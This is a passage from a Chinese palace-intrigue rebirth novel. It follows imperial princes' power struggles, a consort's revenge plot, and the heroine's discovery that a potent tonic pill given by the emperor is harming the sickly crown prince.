皇帝脸色瞬间阴沉下来,眼神里透出一丝不易察觉的厌恶,似乎想到了什么不悦的往事,冷声道:“南月人向来狡诈,尤其擅长利用皮相蛊惑人心,总是能屡屡得手!川儿,后来呢?你将那南月细作如何处置了?” 所有人的目光都聚焦在萧凌川身上。 只见他抬起眼,那双深邃的桃花眸中闪过一丝一闪即逝的阴鸷,语气却平静得没有一丝波澜:“父皇放心,那南月细作,已经成了儿臣的剑下魂,从此再不会对大邺有任何威胁了!” “甚好,甚好!”皇帝的脸上重新绽放出满意的笑容,仿佛对这个答案极为称心。 下朝后,皇帝回到御书房。 伺候在一旁的大总管陈顺,眼疾手快地端上一杯热气腾腾的香茶,满脸谄媚地躬身道:“陛下辛苦了,这是香妃娘娘特地吩咐小厨房给您备下的云山茶,您喝一杯驱驱寒!” “嗯,朕的香妃果然有心!”皇帝接过茶杯,轻啜了一口,眉眼间满是悦色。 陈顺察言观色,立刻脱口而出:“陛下今日这心情,瞧着是极好啊!” “是啊。”皇帝放下茶杯,靠在龙椅上,嘴角噙着一抹意味深长的笑,“老四此番不仅救了南朔百姓,巩固了抵御南月的防线,更妙的是,他还亲手杀了一个南月细作。” 他顿了顿,眼中精光毕露,“如此一来,他便算是在天下人面前,和南月彻底决裂了。以后,就算他知道了自己的生母是南月公主,也不可能再得到南月皇室的支持!” 陈顺连忙附和道:“陛下英明!四皇子殿下如今在军中和民间的声望如此之高,若再让他得了南月那边的势力支持,咱们大邺,恐怕也就要变天啦!” “哼,只要朕在,再优秀的皇子都只能是臣子!”皇帝冷笑一声,显然对自己的谋划十分得意,他转而问道,“太子最近如何了?” 陈顺小心翼翼地回道:“回陛下,听闻太子殿下近来身子见好,只是不如其他皇子那般健壮,怕是需要点时间恢复。” 皇帝闻言,眉头微皱,随即又舒展开来,笑着道:“许久未见太子了,让他来见朕吧!朕这几日在城西的玄真观认识了个法力极强的道士,他炼的丹药极好,朕用了几丸,都觉得神清气爽。朕觉得,这丹药正适合给太子调理身子!” 陈顺低垂的眼帘下,闪过一丝惊惧,但面上依旧是恭恭敬敬的模样。 “是,陛下!奴才这就去传旨。” —— 下朝后,萧修湛回到麟阁宫,脸色阴沉得能滴出水来,周身散发着生人勿近的戾气。 宫人们一见他这副模样,吓得纷纷垂首跪地,大气也不敢喘一口,生怕一不小心就成了他泄愤的靶子。 姜瑶真听到动静,从内殿款款而出。 她遣退了战战兢兢的侍女,亲自端着一盏安神茶,柔声上前:“殿下怎么了,是哪个不长眼的又惹您生气了?” “还能有谁!父皇今日在朝堂上,当着文武百官的面,把老 二和萧凌川那个杂 种夸上了天!金银珠宝、良田美玉,赏赐跟流水似的往下淌! 最恶心的是,老 二那个蠢货,竟然还当众跟萧凌川称兄道弟,演什么手足情深,他也不嫌臊得慌!” 萧修湛越说越气,面容都有些扭曲,“还有你那个好父亲!对萧凌川一阵夸,不知道的还以为他才是萧凌川的岳丈!我们成婚以来,我就没听他在父皇面前为我美言过半句!” “殿下息怒。”姜瑶真柔声道,“为这点小事气坏了身子,岂不是得不偿失?此次出征,萧凌川不过是瞎猫碰上死耗子,侥幸得胜罢了。您想,他本就有南月血统,这原是他最大的依仗。 如今他为了向父皇表忠心,公然与南月决裂,这不等于自断臂膀吗?往后没了南月这个助力,他拿什么跟殿下您比?” 这番话像是一剂良药,精准地抚平了萧修湛心头的烦躁。 他脸上的阴霾果然散去了几分,伸手将姜瑶真揽入怀中,下巴抵着她的发顶,贪婪地嗅着她发间的馨香。 “还是真儿懂我,真是我的解语花。三言两语,就让我这心里的火气消了。” 姜瑶真顺从地靠在他怀里,见他心情平复,端起茶杯递到他唇边,状似不经意地问道:“殿下,那四皇子在朝上,可有提到南月其他的什么事?比如……南月的人?” 萧修湛就着她的手喝了一口茶,神情很是受用,漫不经心地答道:“提了。说是萧凌川在南朔城,被一个南月细作给阴了,那细作不知用了什么法子,竟煽动城中流民放火烧病患,还把脏水全泼到萧凌川身上,差点让南朔城的百姓以为是他下的令。不过嘛,后来好像被他给解决了。” 姜瑶真的心瞬间提到了嗓子眼,她强作镇定,声音里带着一丝自己都未察觉的颤抖:“那……那名南月细作,如今如何了?” 萧修湛将杯中茶水一饮而尽,随口道:“萧凌川说,被他杀了。” “什么?” “哐当——!” 姜瑶真手中的青瓷茶托应声落地,在光洁如镜的金砖地面上摔得粉碎! 第175章 女子的价值,并非依附于男子 第一百七十五章 女子的价值,并非依附于男子 “你怎么了?”萧修湛蹙眉,“怎会如此不小心?” “妾身无事。”姜瑶真脸色煞白,随即眼中流露出浓烈的恨意,“殿下,妾身定竭尽所能,帮你除掉四皇子!” 萧修湛闻言,唇角勾起一抹满意的弧度,伸手轻抚她的脸颊,声音柔得仿佛能滴出蜜来:“我就知道,真儿是我的贤内助。” 姜瑶真垂眸,掩盖眼中翻涌的恨意。 萧凌川,总要一天我会要了你的命,为我姨娘报仇! 就在这时,殿外内侍尖细的嗓音打破了沉寂:“启禀殿下,肃王殿下求见!” 听到这声通报,萧修湛满脸不悦。 就连萧锦瑜都有了封号,风头正盛,而他却仍被冷落,心头的不甘如烈焰般灼烧。 “宣他进来!”他冷声吩咐,语气中透着几分不耐。 片刻后,萧锦瑜大步流星迈入殿内,气度沉稳,隐隐带着几分新封王爵的威仪。 姜瑶真当即行礼:“妾身见过肃王殿下!” “弟妹无需多礼。”萧锦瑜只是淡淡地扫了她一眼,便将目光转向了萧修湛。 “我还以为二哥如今眼中只有四弟那个好兄弟,早就把我这个三弟给忘到九霄云外去了呢!”萧修湛皮肉不笑地说。 “三弟说笑了,之前我承诺要给你的赌注,如今带来了!”萧锦瑜的语气听不出喜怒,他拍了拍手,很快,几个侍卫便将一箱又一箱沉甸甸的黄金抬进麟阁宫。 万两黄金可不是小数目,侍卫们来来回回,搬了许久才将所有箱子尽数抬完。 萧修湛的眼睛死死地盯着那些金灿灿的黄金,心中一半是狂喜,一半是懊悔。 喜的是,有了这笔巨款,他在西榆暗中蓄养的那支私兵,总算有了着落,粮草军饷再也不是问题。 悔的是,早知道父皇手笔如此之大,给了萧锦瑜这么多赏赐,他当初就该狮子大开口,多要一点! 万两黄金,太便宜他了! “二哥果然是言而有信,那这万两黄金,我就却之不恭了!”萧修湛压下心头的波澜,挥了挥手,对一旁的内侍道,“来人,清点入库!” “等一下!”萧锦瑜拦住他,审视的目光落在他脸上,“三弟,我再问一次,你究竟是如何说动张姑娘与我成亲的?” 萧修湛脸色一僵,随即笑着道:“我不是跟你说过吗?我和张大人还有张姑娘说了你的诸多优点……” “三弟,既然你不愿实话实说,我便只能亲自去问张姑娘了!”萧锦瑜冷声打断他的话,转身准备离开。 萧修湛拦住他:“二哥,你这是怎么了?今日怎么如此较真?” “我还就真较真了!”萧锦瑜死死盯着他,语气冷硬,“你跟我说实话,到底是用了什么法子,让张姑娘愿意同我成亲的!” 萧修湛见他一副不依不饶的模样,只能实话实说。 “我去找了张尚书,说我要娶张姑娘为妾。我知道他没有别的选择,除非找我们兄弟其中一个成婚,否则推辞不了我的。张姑娘知道你心悦她,自然会将你视作首选……” “什么?!”萧锦瑜如遭雷击,他瞪大了眼睛,指着萧修湛的手指都在发抖,“你……你竟用此等卑劣无耻的方式逼迫她!萧修湛,你!” 难怪萧凌川反复提醒他得去确认张嫣和他成亲的缘由。 原来萧修湛为了赢得万两黄金,当真会用卑劣的手段。 害他白高兴一场,以为张姑娘对自己有意…… 见他动怒,萧修湛立刻摆出一副息事宁人的模样:“二哥,你别生气,我也是为了你好……” “够了!”萧锦瑜打断他的话,声音愈发冰冷,“还有一事。我在南朔城时,遇到了浩力,他竟是来刺杀四弟的!三弟,这可是你指使的?” “浩力?”萧修湛故作惊讶,“他当我护卫不过月余,便说要回乡探亲,我好心放他离开,至今未见他归来。没想到,他竟跑去了南朔城?” 萧锦瑜这下确定了,这个三弟嘴里没有一句实话! “三弟,你好自为之吧!”丢下这句话,他便转身离开。 看着他离去的背影,萧修湛耸了耸肩:“如今赐婚都下来了,何必自寻烦恼,非要如此较真?反正这赌注我赢了,万两黄金我收得心安理得!” 一旁的姜瑶真开口了:“殿下,可千万不能让肃王和张姑娘的这桩婚事,就这么毁了,否则于我们不利!” “嗯?”萧修湛挑眉,不以为然,“此话怎讲?” “张姑娘爱慕的是五皇子殿下,如今被迫和肃王定亲,心中极度痛苦。这份痛苦和爱而不得正好被我所用,成为一把杀死萧凌川和姜姝宁的刀!” “张姑娘爱慕的是我五弟?”萧修湛有些惊讶,“若如此,那她确实是一把杀死姜姝宁的刀,毕竟,妒恨是最要人命的。只是,你说她也能杀了萧凌川,这从何说起啊?” “殿下,你不懂。姜姝宁正好是萧凌川的软肋,动了姜姝宁,萧凌川定会做出不理智的事,届时,便是殿下你除掉他的绝佳机会!” 萧修湛恍然大悟:“真儿果然聪明!不过,姜姝宁是你的姐姐,你舍得将她当除掉萧凌川的工具吗?” “殿下,姜姝宁不仅是我的姐姐,更是我的情敌!”姜瑶真嗔怪地瞪了他一眼,“妾身还在因为殿下从前想娶她为妻而耿耿于怀,只有除掉她,妾身才能安心。殿下,你不会不舍得吧?” “怎么会?”萧修湛不动声色地避开她的目光,掩饰眼底一闪而过的心虚。 罢了,一个女人,自然没有他的权势重要。 牺牲了就牺牲了,反正他宫里还有个跟她极其相似的女子。 只是……心底深处,终究掠过一抹难以言喻的惋惜。 此时的京城暗流涌动,而千里之外的姜姝宁,却享受着此生从未有过的闲散与自在。 为了避免惹人闲话,她与夏嫣并未跟随萧凌川的大军一同返京,而是由凌芜护着,三人扮作游学的富家公子,走走停停,不急不缓地朝着京城的方向挪动。 “姝宁,你看那家的糖人捏得真好!我们去买一个?”夏嫣穿着一身月白色的男装,手持折扇,装模作样地摇着,眉眼间满是藏不住的鲜活与跳脱。 她本就性情爽朗,这趟江湖游历更是彻底解放了天性。 姜姝宁勒住马绳,含笑看着她:“你慢点,别跑摔了。” 这趟南朔之行,像是给她的人生豁开了一道全新的口子。 前世的她,被圈禁在景王府那方寸之地,眼里心里都只有一个萧凌川,喜怒哀乐全系于他一人之身,到头来却落得被毒死的凄惨下场。 如今想来,何其可悲。 原来挣脱了牢笼,外面的天地是这般广阔。 原来女子的价值,并非只能依附于男子才能体现。 在南朔,她用那点尚不精通的医术,从死神手里抢回了许多人命。 那一刻她才明白,权势与情爱,都可能如过眼云烟,唯有握在自己手里的本事,才是真正能安身立命、甚至改变命运的根本。 行至徐州地界时,姜姝宁特地提出要多停留两日。 “我爹不是对外宣称,我这段时日一直在徐州探亲吗?咱们既然路过了,不如就去‘拜访’一番,也好把这谎给坐实了,免得日后被人揪住错处。”她寻了个合情合理的由头。 夏嫣对此深以为然,并未起疑。 次日,姜姝宁支开了夏嫣与凌芜,独自一人,根据记忆里的路线,寻到了城郊那处荒僻的山坡。 这里,埋着当年被她父亲派人处理掉的、那位姨娘的“尸首”。 其实不过是个衣冠冢。 她拨开没过脚踝的杂草,在孤零零的土坟前蹲下身,从怀中取出一个用锦布包裹得严严实实的东西,层层打开,露出一块温润剔透的玉牌。 是那块属于南月公主的玉牌。 她用随身携带的匕首,在坟前挖开一个深坑,小心翼翼地将玉牌放进去,然后再将泥土一点点重新覆上,压实,直至看不出任何被动过的痕迹。 做完这一切,她才站起身,拍了拍手上的泥土,眼神幽深地望着那座小小的土坟。 但愿这辈子,都无需再将它挖出来了。 当这块玉牌重见天日的那一刻,便是她与萧凌川彻底决裂之日。 第176章 直白的挑 逗 第一百七十六章 直白的挑 逗 回到京城相府,姜姝宁甚至还未来得及洗去一路的风尘,管家便送来了一张烫金的请帖。 “大小姐,是景王殿下派人送来的,邀您和老爷夫人,一同去他的新府邸赴宴。” 凌芜凑上前来,满脸都是藏不住的期待和兴奋:“大小姐!四皇子殿下封王了!这景王府是陛下亲赐的宅邸,肯定很漂亮!奴婢真想去开开眼界!” 姜姝宁捏着那张精致的请帖,指尖却微微发凉。 景王府。 仅仅是这三个字,就仿佛一道无形的枷锁,让她几乎喘不过气来。 那个困了她十年,最终将她活活耗死的华丽牢笼,她半点也提不起兴趣,甚至有些避之不及。 “回绝了吧。”她声音淡淡地,将请帖推到一旁。 “这……”凌芜的脸瞬间垮了下来,却不敢多言。 正巧姜丞相从外头进来,听见了女儿的话,不由得皱起了眉头:“宁儿,你还没回京时,我与你母亲已经去参加过肃王入新宅的宴会,如今景王殿下设宴,我们若是不去,会得罪人的。” 听到这话,姜姝宁心头更是烦闷。 萧凌川与萧锦瑜是同时被父皇赐下府邸的,为何两人的新迁宴会竟相隔了这么久? 如今掐着她回京的日子送请帖,看起来倒像是……专程为了等她回来一般。 这个念头让她觉得荒唐可笑。 难道萧凌川觉得自己会有故地重游的兴致吗? 数日后,当姜家的马车缓缓停在景王府门前,姜姝宁掀开车帘的一角,那朱红色的高大府门与门前威武的石狮,与记忆里的景象重合。 她深吸一口气,压下心头翻涌的情绪,随着父母以及堂弟姜天泽走进了这座她曾经无比熟悉的府邸。 一踏进门,那股熟悉到令人窒息的感觉便扑面而来。 这庭院的布局,那湖心的亭子,前殿的雕梁画栋,甚至连抄手游廊拐角处摆放的青釉大缸……所有的一切,竟然都和前世一模一样!分毫不差! 就连院子里那个引了活水的池子,也跟前世一样,养着各色名贵的锦鲤,在阳光下翻动着绚烂的鳞光。 宾客们被府里的下人引着往后花园去喝茶赏景。 才刚绕过一道月亮门,便有不少初次到访的女眷发出阵阵惊叹。 “天哪!快看!没想到景王府的后花园,竟种了如此多名贵的牡丹!这可真是大手笔啊!” 姜姝宁心头一震,抬眼望去,果然,视线所及之处,皆是怒放的牡丹。 姚黄、魏紫、豆绿、赵粉……各色名品争奇斗艳,花团锦簇,开得娇艳而张扬。 那浓郁的、甜腻的香气,几乎将她整个人都包裹了起来,让她一阵头晕目眩。 她简直难以置信。 前世,她最是喜爱牡丹,央求了萧凌川无数次,想在院里辟出一块地来种上几株。 可他是怎么说的? “牡丹太过浓烈艳俗,又耗费金钱,华而不实。”他冷着脸,眉眼间是显而易见的嫌弃与不耐,“若被御史台那些老顽固见了,不定会如何编排本王奢靡无度,被有心之人拿去做文章!你就不能有些实用的兴趣吗?” 从那以后,她便再也不敢提“牡丹”二字,就连平日里做个刺绣,都要小心翼翼地避开牡丹的图案,唯恐惹他不快。 可如今,这个嫌弃牡丹艳俗的男人,却主动在自己的王府里,栽下了这一整片奢华无度的花海。 这是何等的讽刺? 他是重生了,又不是被夺舍了,怎的跟前世行事如此不同? 正当她心神恍惚之际,一道挺拔的身影在一众人的簇拥下走了过来,正是景王府的主人,萧凌川。 众人纷纷停下交谈,屈膝行礼:“见过景王殿下!” “免礼。”萧凌川的声音温和,目光却越过所有人,径直落在了姜姝宁的身上。 他一步步朝她走来,那双深邃的眼眸里盛满了旁人看不懂的情绪,在她清丽的脸上流连。 “姜姑娘,”他停在她面前,目光灼灼地凝视着她,“本王这后花园的牡丹,你可还喜欢?” 他如此直白露骨的话语,以及这种旁若无人的特殊对待,瞬间引爆了在场所有贵女们心中的嫉妒之火,一道道或艳羡或怨毒的目光,利剑般射向姜姝宁。 姜姝宁抬眸,平静地看着这个她前世爱而不得、今生避之不及的男人,红唇轻启,声音不大,却清晰地传遍了整个花园。 “王爷,在府上种如此多的名贵牡丹,未免太过铺张浪费了。”她学着他前世的口吻,冷声道,“您就不怕,被御史台的人参上一本,戳着脊梁骨骂吗?” 此言一出,满场哗然。 那些大臣的女眷们更是惊得倒吸一口凉气,忍不住窃窃私语,说这姜家大小姐当真是不知好歹,竟敢当众下景王面子。 萧凌川却像是没听出她话中的讥讽,反而勾起唇角,露出一个堪称宠溺的浅笑:“能博美人一笑,本王就是被多骂几句,也心甘情愿。” 面对他这般直白的挑 逗,姜姝宁神色毫无波澜。 她别开脸,不再看他,只淡淡地丢下一句:“多谢王爷美意,只是,我已不再喜欢了。” 说完,她不再停留,转身而去。 萧凌川脸上的笑容瞬间僵住,他怔怔地看着她决绝离去的背影,心口像是被什么东西狠狠地刺了一下,泛起一阵尖锐的酸涩。 他总感觉到,她口中那句“不再喜欢”,说的不是是这满园的牡丹,而是……他这个人。 “大小姐,您当真不喜欢牡丹?”一回到僻静处,凌芜便忍不住小声问道,“京中的贵女们,可就没有不喜爱牡丹的呀!” 一旁的姜天泽却不以为然地轻哼一声:“我大姐姐岂是那等俗气之人?牡丹那种东西,除了好看便再无用处,不切实际又艳俗!这景王也未免太看低我大姐姐了,竟想用这种寻常贵家公子哥儿的招数来讨好,当真是肤浅至极!” 听着堂弟的维护,姜姝宁在心中溢出一抹苦笑。 姜天泽不知道,其实前世的她,就是那般俗气之人。 好在今生,她有了更加不俗,也更加实在的追求。 就在这时,一位盛装华服的女子款步走至姜姝宁面前:“姜姑娘,可否借一步说话?” 第177章 壮阳丹药 第一百七十七章 壮阳丹药 来者不是别人,正是当今太子妃,顾晚樱。 她今日穿了一身秋香色的宫装,云鬓高挽,珠翠环绕,虽极力维持着太子妃的端庄仪态,却掩盖不住眼底的忧愁。 姜姝宁心中微微一凛,面上却不动声色,只朝她略略颔首。 “凌芜,天泽,”她侧过头,对身后的两人轻声吩咐,“你们去那边的小厨房看看,有没有新摘的果子,帮我拿些过来。” 凌芜瞬间领会她的意图,恭敬应道:“是!”。 不容姜天泽有丝毫反对余地,她果断拉着他转身离去。 待他们走远,姜姝宁这才转向顾晚樱,开门见山:“太子妃有话,不妨直说。” 顾晚樱深吸一口气,声音压得极低道:“姜姑娘,之前我按你给的那个食补方子,日日精心为太子调理身子,他的气色确实一日好过一日,夜里咳嗽的次数也少了许多。可……可就在前几日,父皇忽然宣他去了御书房,回来时,便带回了一种丹药。” “父皇说,这丹药是强身健体的圣品,让他务必按时服用。太子他不敢违逆,便接连服了好几次,回来后他便、便跟从前大不相同……” 她说到此处,脸上竟浮起一丝赧色,像是有些难以启齿,停了一会才继续说下去,“谁知,昨日夜里,他竟突然吐血了!” “什么?”姜姝宁诧异,几乎是脱口而出,“你确定是因为服用了陛下所赐的丹药?” 虎毒尚不食子。 就算皇帝再不宠爱太子,也不至于谋害自己的亲生儿子,未来的储君。 这实在有违常理。 “我……我也不确定。所以我才想来求你。这丹药是父皇所赐,我不敢声张,更不敢拿去问宫里的太医。你也知道,他们即便看出了什么,也断然不敢说实话的。” 她说着,急急地将手中一直攥着的丝帕递到姜姝宁面前。 那帕子里静静地躺着一颗朱红色的药丸。 “我想请你帮忙,寻一个信得过、医术又高明的大夫,替我瞧瞧这丹药,究竟是好是坏。” 姜姝宁看着她满是恳求的眼睛,心中已然有了计较。 此事不仅关乎太子,更可能牵动整个朝局的走向。 她说不出拒绝的话来。 “好。”她伸手接过帕子,将其连同那颗丹药一起,妥帖地藏入宽大的袖中,“我帮你找人看看。” 送走失魂落魄的顾晚樱,姜姝宁便开始在偌大的景王府里,四处搜寻孙神医的踪迹。 前世,她也曾在这府里住过许久,虽说不上每一处都了如指掌,但基本的亭台楼阁、路径回廊,却还深深地刻在脑子里。 她穿行在假山花 径之间,熟稔得仿佛是在自家后院散步。 不远处的临水亭榭中,萧琪钰正百无聊赖地陪着萧凌川喝茶。 他看着姜姝宁行色匆匆的背影,忍不住用手肘碰了碰身边的四哥,压低声音道:“四哥,你看嫂嫂,她明明是第一次来景王府吧?怎么瞧着比我还熟门熟路呢?那架势,就好像……她才是这儿的女主人一样。” 萧凌川端着茶杯的手微微一顿,他抬起眼,深邃的目光追随着她的身影,眸色晦暗不明。 良久,他才将杯沿送到唇边,轻啜了一口,唇角竟勾起一丝极浅的、难以察觉的笑意。 “她本就是。”他声音很轻,却带着一种不容置疑的笃定。 萧琪钰“哈?”了一声,看着自家四哥那一脸理所当然的模样,默默地翻了个白眼。 行吧,四哥这自以为是的毛病,看来是又犯了。 姜姝宁绕过一片栽满了翠竹的幽静小径,终于在一个八角亭里,看到了孙神医的身影。 他今日脱下了那身标志性的白色长袍,换上了一件寻常的灰色布衫,正与几位须发皆白的老臣围坐在一张石桌旁,凝神对弈,看起来就像个颐养天年的寻常老人家。 她快步走上前,在他身边站定,俯身凑到他耳边低语了几句。 孙神医捏着棋子的手一顿,随即了然地笑了笑,将棋子丢回棋盒,站起身来,对着棋盘对面的老者朗声道:“哎呀,不下了不下了!老夫忽然想起还有桩急事要办,得先走一步了!” 那与他对弈的老臣显然是个棋痴,眼看就要将死对方,哪里肯放他走,当即吹胡子瞪眼地嚷嚷:“孙老头!你这棋马上就要输了,该不会是想当那临阵脱逃的缩头乌龟吧!” 孙神医也不恼,反而抚掌哈哈大笑起来:“哎呀,竟被你看出来了!好好好,这局算我输了,我认输!晚点得了空,再陪你大战三百回合!” 那老者这才面色稍霁,不情不愿地挥了挥手,算是放行了。 姜姝宁将孙神医带到一处僻静无人的假山后,这才从袖中掏出那个丝帕,将那颗红色的丹药递到他面前:“孙神医,您快帮我看看,这丹药是否有问题?” 孙神医接过丹药,放在鼻子底下嗅了嗅,又从随身的荷包里取出一根细长的银针,刺入丹药之中,拔出后对着光亮细细查看。 “从药味和银针的反应来看,并无毒性。”他沉吟着说道,“这里面至少混了十几种大补的药材,鹿茸、海马、银羊藿……都是些名贵之物。目前来看,这些补药之间药性并未相冲,应当无碍。” 无碍? 姜姝宁心头一沉。 若丹药无碍,那太子为何会突然吐血? 难道是他的身体本就出了其他问题? 见她一副忧心忡忡的模样,孙神医捋了捋胡须,好奇地问了一句:“姜姑娘,这丹药,是给哪位男子服用的呀?” 姜姝宁诧异地看着他:“孙神医,您怎么知道这是给男子吃的药?” “这丹药里头的,十有八 九都是壮阳之物,药性猛烈,除了男子,谁会吃这个?” 壮阳之物…… 难怪,难怪方才顾晚樱提起太子服用丹药后的反应时,会那般羞于启齿,面红耳赤。 姜姝宁追问道:“那若是身子本就虚弱的男子,服用了此物,会不会有事?” “这等虎狼之药,乃是催动人 体精元、强行激发阳气的霸道之物。身子强健之人服了,尚且要小心用量,若是给一个本就底子亏空、身子孱弱的人吃下去,那无异于强行催动气血,轻则气血逆转,口鼻出血,重则……五内俱焚,当场毙命啊!” 孙神医的每一个字,都像是一记重锤,狠狠地砸在姜姝宁的心上。 难怪太子会吐血! 皇帝真是乱来,竟让太子服用这种丹药! 不行,她必须立刻将这个消息告诉顾晚樱,绝不能再让太子吃下哪怕一粒这种丹药! 前世,正是因为太子登基后,身子每况愈下日,迟迟没有子嗣,才给了萧凌川和萧修湛那公然起兵夺嫡的借口,最终引得天下大乱,血流成河。 她心中仍存一丝微弱的期望。 倘若今生太子的身体康健,能够顺利诞下皇孙,那么,萧凌川他们,是不是就失去了那个最冠冕堂皇的借口? 上位者争权夺势,导致大邺局势动荡,但遭殃的永远是黎民百姓。 “孙神医!今日之事,多谢您了!”她朝着孙神医深深一揖,心中已是焦急万分,转身便想离开。 可刚迈出一步,她又猛然想起什么,急忙回头叮嘱道,“对了,孙神医,今日我找您看药之事,还请您千万不要跟景王殿下提起!” 孙神医还没来得及应下,一个阴冷得如同淬了冰的声音,却毫无征兆地从他们身后响起。 “不要跟本王提起什么?” 姜姝宁的身子猛地一僵。 她循声望去,只见不远处的假山拐角,萧凌川正朝他们大步走来,一张俊美无俦的脸,此刻却阴沉得能滴出水来。 真是怕什么来什么! 姜姝宁正准备随口搪塞过去,萧凌川却已眼疾手快地瞥见孙神医指尖捏着的那枚丹药,眉头一挑,沉声问道:“这是什么?” 孙神医轻咳一声,略显尴尬地回道:“回王爷,这是……壮阳药。” “壮阳药?”萧凌川目光倏地转向姜姝宁,墨色瞳仁中似有暗潮涌动,“你怎会有这种东西?” 姜姝宁脸颊蓦地一烫,莫名生出几分被当场捉住的窘迫。 她强自镇定,硬着头皮反驳:“王爷,这与你无关!” “姜姝宁!”萧凌川声音陡然一沉,带着几分咬牙切齿的怒意,“你竟敢对本王有所隐瞒?这便是你与本王结盟的诚意吗?” 第178章 他回来了 第一百七十八章 他回来了 姜姝宁的心脏在胸腔里重重地擂鼓,面上却竭力维持着平静。 结盟的诚意? 她与萧凌川之间,不过是各取所需、互相利用的关系,哪里来的什么诚意可言? 没想到他竟拿结盟的诚意来压她。 看来是无计可施了。 这丹药是太子的催命符。 对于萧凌川这样野心勃勃、醉心权谋的皇子而言,太子因丹药吐血身衰,怕是他梦寐以求、乐见其成的局面。 他非但不会阻拦,反而会暗中推波助澜,千方百计逼迫太子继续服用,以达到自己的目的。 毕竟,此丹药乃皇帝御赐,太子若拒不服用,便是抗旨不尊,罪名不小。 届时,谁知道萧凌川为了夺嫡之位,会借此做出何等丧心病狂、颠倒黑白之事? 她不敢冒这个险,更不敢赌他的底线。 见她垂着眼帘,紧抿着唇,一副守口如瓶的模样,萧凌川的神色愈发阴沉。 那双深不见底的眸子,像是结了一层寒冰,冷得刺骨。 既然是壮阳之药,那自然是供男子服用的。 这男子,究竟是何人? 与她又有着怎样的关系? 萧凌川脑海中几乎将她身边可能接触的男子一一筛过,越是深思,心底那股无名的妒火便愈发炽烈,似要将他的理智焚尽。 就在两人之间的气氛凝固到极点之际,一个温和的声音响起,如同一缕春风,突兀地吹散了这片肃杀。 “四哥,姜姑娘,你们都在啊!” 听到这个熟悉的声音,姜姝宁心口猛地一颤。 她愕然转头,便看到萧怀瑾那张温润如玉的脸。 他回来了。 他的身形清瘦了几分,脸颊轮廓愈发棱角分明,原本白 皙如玉的肤色略带几分黝黑,却丝毫不掩那份与生俱来的清隽气质。 他的眉宇间依旧带着那份与生俱来的温和神韵,令人如沐春风,只是细看之下,却多了一丝不易察觉的倦怠之色。 看来这些时日,他在宫外的日子颇为辛劳。 姜姝宁的目光,不自觉地带上了一丝连她自己都未曾察觉的怜惜与担忧。 而这丝柔 软的情绪,分毫不差地落入了萧凌川的眼中。 他心中那片本就翻涌不休的妒火,瞬间被泼上了一瓢滚油,轰然炸开,烈焰滔天。 说出来的话也带着毫不掩饰的讥讽与敌意:“五弟,许久不见,听说你跟着崔大人一起去了西洲?你怕是不记得大邺和西洲两国交恶许久了吧?就这么贸然前去,你们就不怕有去无回?” 萧怀瑾仿佛没有听出他话中的尖刺,神色依旧平静无波,温声道:“四哥多虑了。我与外祖、舅舅此番前往西洲,并非为了国事,只是去谈生意。大邺新近开采出金矿,我们大邺能将金子及其饰品,以低于西洲国市价两成的价格卖给他们。 西洲君王是个精明的商人,有这等好事,高兴还来不及,又怎会为难我们这些送财的商人呢?况且,正因为两国交恶,才更应该互通商贸,以利相交,或许还能以此为契机,缓和两国的关系。” “天真!”萧凌川发出一声不屑的冷哼,“让西洲知道我大邺有金矿,只会让他们更加眼红,催化他们侵占我大邺疆土的野心!你这不是缓和关系,你这是引狼入室!” 萧怀瑾依旧是那副神色浅淡的模样,他微微一笑,话锋一转: “说起来,此行能够顺利,还要多谢四哥。二哥与四哥此番南下,雷厉风行,不仅将南月国的奸计一举摧毁,更是在南境立下了我大邺皇室的赫赫威望。想必西洲国听闻此事,对我大邺的兵力更多了几分忌惮,自然不敢轻举妄动。” 这一番话说得滴水不漏,既抬高了萧凌川的身份,又暗中点出他未免过于多虑。 “油嘴滑舌!”萧凌川被他堵得心口一滞,脸色更加难看,却又找不出话来反驳。 两人你一言我一语,唇枪舌剑,萧凌川竟是完全忘了旁边还站着个姜姝宁,也忘了那枚让他耿耿于怀的丹药。 姜姝宁悄无声息地后退一步,朝着他们对峙的方向福了福身,声音不大不小,刚好能让他们听见: “两位殿下慢慢聊,臣女先行告退!” 说完,也不等他们反应,提着裙摆转身就走,那速度,简直像是脚底抹了油一般,一溜烟就绕过了假山,消失在花木深处。 等萧凌川从与萧怀瑾的对峙中回过神来,眼前哪还有姜姝宁的半点身影? 他脸色骤然阴沉如铁,狠狠瞪了萧怀瑾一眼,那眼神凌厉得仿佛要将对方生吞活剥。 该死的萧怀瑾,早不来晚不来,偏偏挑在这个节骨眼上出现! 倒像是故意现身,为姜姝宁制造一个脱身的机会! —— 姜姝宁往方才和顾晚樱见面的方向走去,身后响起少年清越的声音: “大姐姐,你方才去哪了?我找了你许久!” 姜姝宁循声望去,只见姜天泽和凌芜正朝她大步走来。 看到她,姜天泽的眼睛都瞬间亮了,一张清俊脸上满是笑意。 “无事,就是随处逛逛。”姜姝宁问道,“你们可见到太子妃?” “姜姑娘在找太子妃?我方才路过鱼池时,看到她在喂锦鲤。” 这个温润的声音让姜姝宁心头一跳,她猛地抬头,萧怀瑾正含笑站在姜天泽身后不远处。 他不知何时也跟了过来,依旧是那副温文尔雅的模样,仿佛方才与萧凌川的唇枪舌剑从未发生过。 他笑容和熙,缓步上前:“不如我和你一同前往吧?” 姜姝宁的心跳漏了一拍,她下意识地摸了摸袖中那个为他而做的香囊。 或许,是时候交给他了。 她正要点头应下,身旁的姜天泽却抢先一步开了口,语气里带着毫不掩饰的敌意:“五皇子殿下,您如今已经跟苏家姑娘有了婚约,还是跟大姐姐保持点距离的好,以免遭人误会!” 这话如同一盆冰水,兜头浇下。 萧怀瑾脸上的和煦笑容瞬间凝固,血色以肉眼可见的速度褪去,变得煞白一片。 他下意识地看向姜姝宁,清隽的脸上掠过一丝慌乱:“此事是我母妃擅作主张,我当时出宫在外,根本不知此事!如今我回来了,定会亲自退婚!” 姜姝宁见他这副模样,心中愈发不是滋味。 他果然是不愿意的。 那可是荣贵妃亲口应下,皇帝陛下亲自赐下的婚事,金口玉言,岂是说退就能退的? “五皇子殿下要跟苏家姑娘退婚?”姜天泽发出一声淬了冰的冷笑,“莫说这定亲之事并非儿戏,就算真被你退婚了,那苏家姑娘当如何?你让她往后还有谁愿娶她?富商苏家的颜面,岂容你如此践踏?” 姜天泽的话像一把把尖刀,字字句句都戳在最痛的地方。 萧怀瑾的脸色愈发苍白,嘴唇紧紧抿成一条直线,但他眼中的决绝却未曾动摇分毫。 他像是下定了决心,沉声道:“姜三公子你就不必担心了,此事我自有法子!” 他转头望向姜姝宁,神色坚定,“还请姜姑娘务必等我消息!” 